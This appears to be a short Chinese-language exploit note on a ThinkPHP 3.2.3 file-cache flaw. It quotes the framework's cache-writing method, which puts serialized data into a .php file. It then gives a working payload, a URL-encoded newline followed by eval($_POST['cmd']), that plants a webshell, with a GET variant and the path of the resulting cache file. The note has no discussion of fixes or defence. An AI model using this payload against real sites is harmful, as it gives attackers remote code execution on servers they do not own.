Thinkphp 3.2.3 缓存漏洞¶

/**
     * 写入缓存
     * @access public
     * @param string $name 缓存变量名
     * @param mixed $value  存储数据
     * @param int $expire  有效时间 0为永久
     * @return boolean
     */
    public function set($name,$value,$expire=null) {
        N('cache_write',1);
        if(is_null($expire)) {
            $expire =  $this->options['expire'];
        }
        $filename   =   $this->filename($name);
        $data   =   serialize($value);
        if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
            //数据压缩
            $data   =   gzcompress($data,3);
        }
        if(C('DATA_CACHE_CHECK')) {//开启数据校验
            $check  =  md5($data);
        }else {
            $check  =  '';
        }
        $data    = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
        //data参数经过序列化，直接被写到文件内。

        $result  =   file_put_contents($filename,$data);
        if($result) {
            if($this->options['length']>0) {
                // 记录缓存队列
                $this->queue($name);
            }
            clearstatcache();
            return true;
        }else {
            return false;
        }
    }

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {

    public function index(){
        $a=I('post.a3');
        S('name',$a);
    }
}

a3=%0d%0aeval($_POST['cmd']);%0d%0a//

http://url/index.php/Home/Index/get?id=%0d%0aeval($_POST['cmd']);%0d%0a//

http://url/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php